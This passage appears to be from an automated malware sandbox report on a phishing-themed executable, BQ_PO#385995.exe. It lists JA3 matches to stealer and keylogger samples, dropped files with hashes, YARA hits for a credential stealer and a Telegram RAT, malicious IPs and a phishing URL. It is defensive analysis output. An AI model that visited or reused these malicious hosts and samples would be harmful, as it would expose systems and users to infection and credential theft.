	quotation.exe	Get hash	malicious	FormBook	Browse	155.94.253.4
	Quote Qu11262024.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	66.63.187.246

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 20.190.177.147
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 20.190.177.147
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 20.190.177.147
	tnAuKiW7Ll.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer	Browse	13.107.246.63 20.190.177.147
	S699q3m27h.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	13.107.246.63 20.190.177.147
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 20.190.177.147
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	13.107.246.63 20.190.177.147
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 20.190.177.147
	New RFQ for PR-10453180.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.63 20.190.177.147
	New RFQ for PR-10453180.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.63 20.190.177.147
54328bd36c14bd82ddaa0c04b25ed9ad	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	FACTURA PROFORMA 611 MICROMENT IN LONDON_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	rOJS25YL2e.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Teklif Talebi #U0130hale No_14991_PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
6271f898ce5be7dd52b0fc260d0662b3	https://cdn.tailwindcss.com	Get hash	malicious	Unknown	Browse	150.171.27.10 150.171.28.10
	Itelyum_Regeneration_S.P.A___Bank_of_America_KYC_Outreach.eml	Get hash	malicious	Unknown	Browse	150.171.27.10 150.171.28.10
	Structural_Design_Proposal.docx.doc	Get hash	malicious	Unknown	Browse	150.171.27.10 150.171.28.10
	Invoice268277.pdf	Get hash	malicious	Unknown	Browse	150.171.27.10 150.171.28.10
	http://vpnconsumer.com	Get hash	malicious	Unknown	Browse	150.171.27.10 150.171.28.10
	4z0JKnfc8L.xlsx	Get hash	malicious	Unknown	Browse	150.171.27.10 150.171.28.10
	https://1e87.gnoqwwhpwe.ru/3aeK/#Ddonald.mcclure@identity.digital	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 150.171.28.10
	MOaSkQR8WU.xlsx	Get hash	malicious	Unknown	Browse	150.171.27.10 150.171.28.10
	Ksl3V3pqZq.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 150.171.28.10
	YQ3PhY2Aeq.exe	Get hash	malicious	Stealc, Vidar	Browse	150.171.27.10 150.171.28.10
3b5074b1b5d032e5620f69f9f700ff0e	iGxCM2I5u9.exe	Get hash	malicious	Flesh Stealer	Browse	149.154.167.220
	z21nfe_20231205_001.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	7Gt3icFvQW.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	iGxCM2I5u9.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	1AxSwjpyGp.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	149.154.167.220
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	FPBKcOFjEP.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	149.154.167.220
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	LiteDBViewer.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	MerchantDetailedStatement_37063_04122024.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_BQ_PO#385995.exe_6ccaa2afa6b5f377ea7f90a334b7f523bda1e5f6_45f15e28_b018de68-6682-4740-85dd-d222ff961ec2\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9860476602153382
Encrypted:	false
SSDEEP:	192:wQSrkA21N0UnUlaWB2WyzuiFYZ24lO8rYc:w5r52UUnUlam2FzuiFYY4lO8r
MD5:	AD1AE9D2A527F45F6857AF49F6715C18
SHA1:	AEAFAF8CB01C6AF046DCD2BD7AB84A026BEF028F
SHA-256:	EC4B5C43D44D6388DBCE3DF5EC1A08DFE459DA0BC55E445A3F274F7008DA813A
SHA-512:	1E113C40257B3B1A1D473FB817F8BC79D8E819FAC5071819C51971A5EAC7EA506F6F749FB34AA7CFE6E695036DF58159011EE0C1D1CF57A1275A81B927B6360E
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.8.7.7.2.7.0.6.8.3.7.9.6.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.8.7.7.2.7.2.8.5.5.6.7.6.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.0.1.8.d.e.6.8.-.6.6.8.2.-.4.7.4.0.-.8.5.d.d.-.d.2.2.2.f.f.9.6.1.e.c.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.a.1.c.6.c.7.7.-.2.c.b.5.-.4.c.7.5.-.b.2.b.5.-.5.b.4.0.a.3.9.3.1.6.b.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.B.Q._.P.O.#.3.8.5.9.9.5...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.a.t.e.k.P.o.r.o.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.8.c.4.-.0.0.0.1.-.0.0.1.5.-.7.7.8.2.-.5.7.b.f.1.5.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.f.7.c.f.0.b.2.8.9.e.9.c.4.a.3.5.d.f.c.4.b.c.f.c.c.7.f.f.8.a.6.0.0.0.0.0.0.0.0.!.0.0.0.0.2.e.1.8.5.8.7.4.f.f.6.1.f.0.0.9.7.b.3.4.a.e.6.6.c.d.c.0.9.b.b.b.f.1.9.5.1.f.6.2.!.B.Q._.P.O.#.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2620.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Thu Dec 5 13:01:11 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	382945
Entropy (8bit):	3.2945138032205588
Encrypted:	false
SSDEEP:	3072:75j13+veFtieu47hKcSIldSSeR7CIGOO1CCqNF:7l13QDYCEQ0q
MD5:	12F79A469D67B94210E32E64C3690F8E
SHA1:	07D8BD371C51CF28E1BE201AFA67322923472081
SHA-256:	8A5E4C389A36A80E0CEEA3CC0A98CA449CC9A404B66A304E72F858E482E127FB
SHA-512:	6E07D1BE97F804A39D09608D6C8DE93D5E4E64B96D3FB6945F33DE4CDA4F38916607C68DCFD4823DCBECA6FFAC3226338FECADBE017516A3416C821A84770F6B
Malicious:	false
Preview:	MDMP..a..... .........Qg....................................$...h....................E..\n..........l.......8...........T............).............,6...........8..............................................................................eJ.......8......Lw......................T.............Qg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2CE7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8608
Entropy (8bit):	3.7083591791016426
Encrypted:	false
SSDEEP:	192:R6l7wVeJ6qs4Dzet6Y2DOLdIgmfF7L+prx89b4sUf9Zom:R6lXJ/sczet6YzLdIgmf5L14vf9j
MD5:	BC93B61BDD8509DE39DE21F0506C6704
SHA1:	10149AD86B5E3BFCF89EA85C3C8AE91086FD7ACB
SHA-256:	6C954432FB01C6F40A94108523461F9682DEDF870591B201B02E946FC74C590D
SHA-512:	B3BC14BC136371CE3367725B273009FD1DE47B5E658A6834F1AA6EA16D84FA214D4EE78B8389A975A6A44515CFD792E27C13F12A1F3437B8180F7E44D670A2E0
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.2.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D65.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4768
Entropy (8bit):	4.534990591001873
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZUJg771I9ZuWpW8VYVYm8M4J0DF3yq85Ic4jXq3d:uIjf4I7yP7VhJ8k4jXq3d
MD5:	F46BC738E300DE197E80FB247383F760
SHA1:	573C043C9E0B16B55513CCA7670C8E5082B25C1C
SHA-256:	3C38336FD8BBCC3B9BDA17B704F1A8D21C6078C2213049EBB113C22979640BDB
SHA-512:	81F250A05D5CDDC3292A180648ADE0FAA74201A4FD1F87BB53589ADAD6710143E4C4B2DE76747190A9BD9FA4613203EAEC918F13B996E91F1E1EC1AEA71A75CE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618003" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380285623575084
Encrypted:	false
SSDEEP:	48:SWSU4xympjgs4RIoU99tK8NPZHUl7u1iMuge//ZLt50Uyus:SLHxvCsIfA2KRHmOug4v1s
MD5:	8DA2E423DB1A711852EBF75F099F59EE
SHA1:	FB4A0B1D5990389F2BC5A6D91D6F32F0DBF2DD87
SHA-256:	352D46AD27C706FDA7FC9B9722C4AA70052F026D4932230A2043D25D1C4C8816
SHA-512:	A5A311810BD73B94D4B1AEADDC3407E743A3D05DA435A2DBD4355317FDB2D2D4952085A74E444C2AA0694B0C5B2E3C6AAB2BCC511334C22BC79E130DA41B49AB
Malicious:	false
Preview:	@...e.................................K..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4yzqir51.bji.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5kcpotrt.31e.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngbycr0o.lsg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pta0rs1x.xhk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbiylfyx.ubh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ts45k1vt.poi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xc0p0dyr.m2z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ymzxa5qn.kf3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\ubygsn.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	277504
Entropy (8bit):	5.631052879962988
Encrypted:	false
SSDEEP:	3072:2qkTOg1lxCLqsf1pEOkfXwiS6BUi+DJUr7KpHEOEtbfR2QmiL0YTKBgBiobbY:ZB+b3nb
MD5:	4C8C1CEB91408AD5A5011B56B325419E
SHA1:	1C4164B98BE5D5235EEBFD8A54F45A8E07B229EA
SHA-256:	3DCB27942E0687D24841DB48D2B91FF2AE749BE95655AF9BB10F8A2C46052773
SHA-512:	A4BE594B66EF0981EDD13519690395405D1A982D35EBA8814B8FC69C1A4B6693DF382C4D979B277615728C593942BE9FCD6494DC12510F4EB71F233B1E7FB6A2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f..............P..&..........nD... ...`....@.. ....................................@..................................D..O....`............................................................................... ............... ..H............text...t$... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............:..............@..B................PD......H.......T...............................................................}.....is.......................~...F...@...7...%...m...$...~...~...d...r...a...G...o...n...~.....( ...&..(!.....s"........s#........s$........s%........s&........Z........o9...........&..(:....&........".......Vs....(C...t...........(D..."~....+."~....+."~....+........"~....+."~....+........"~....+."~....+."~....+."~....+."~....+."~....+."~....+."~....+."~....+.........*b.r+..p.

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468838157534076
Encrypted:	false
SSDEEP:	6144:FzZfpi6ceLPx9skLmb0fhZWSP3aJG8nAgeiJRMMhA2zX4WABluuNkjDH5S:9ZHthZWOKnMM6bFpuj4
MD5:	1E0C56C9756EF815AB46BAE21F59F9B2
SHA1:	15252F29BE74B0C44ED51563EACC649AE5482693
SHA-256:	19D133F4743DB7144A76A8AF639308ED563075847846D1008C06781E7E42F3BC
SHA-512:	DFE0A66125557BA9AD080EFD6A7BDFBEA6E8CE59C225397F67EF551AD85DCBF5983E071DC4707EE295EC6467BE7AFB4CAB161E5B523C886C1E48F3A25B4D57A8
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmzej..G...............................................................................................................................................................................................................................................................................................................................................H\|.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\BQ_PO#385995.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.3248629576173565
Encrypted:	false
SSDEEP:	3:aByn:awn
MD5:	7012ACBB1D394B20567DFFBF0992B677
SHA1:	EA7B8499509DA0261A19E48A8631A6A506F0DE0A
SHA-256:	CFCE4E2952591E79A0DEA1654A92DBA4F099D348AB7C176BCD052D69B8929770
SHA-512:	C93B972A8979412CE14614DA57E4902CE982F76BEA72834D160234E76E39393279367771D945D56451E14FB7D7DF762B542310D4404F5A6193D7FB95FA70FB7F
Malicious:	false
Preview:	Hello World!..

Static File Info

General

File type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.969747749080312
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	BQ_PO#385995.exe
File size:	408'064 bytes
MD5:	7e3e88fad78dff83ea421084315bfd78
SHA1:	2e185874ff61f0097b34ae66cdc09bbbf1951f62
SHA256:	26c434592adaffa102b1cc61983fd9355dfa4fe0e06ad3acb50732892f67d466
SHA512:	432da571335f6eb1b827eceb1bf0b0cc62b2a1a7734fce3374620769487e908916a39b0e4c94ef6e764f65f3ce7066040055e52d14a7b84bb1e1650ec355460f
SSDEEP:	6144:OzzpHNxvSI3xlkVxOwDWcvPRavLhOPxersLWd3JyQdETiOhhe3DU705AN8u1tdQM:INxvSec3RMY+sLSZyyETvzck05AGuvr
TLSH:	96942339ACC1C617CFCA07FBAED2D5DB2B3BC54066B2AA16DFC4970919CEC416285721
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...R.Pg.........."...0..f............... ....@...... ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67508452 [Wed Dec 4 16:33:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x5cf68	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
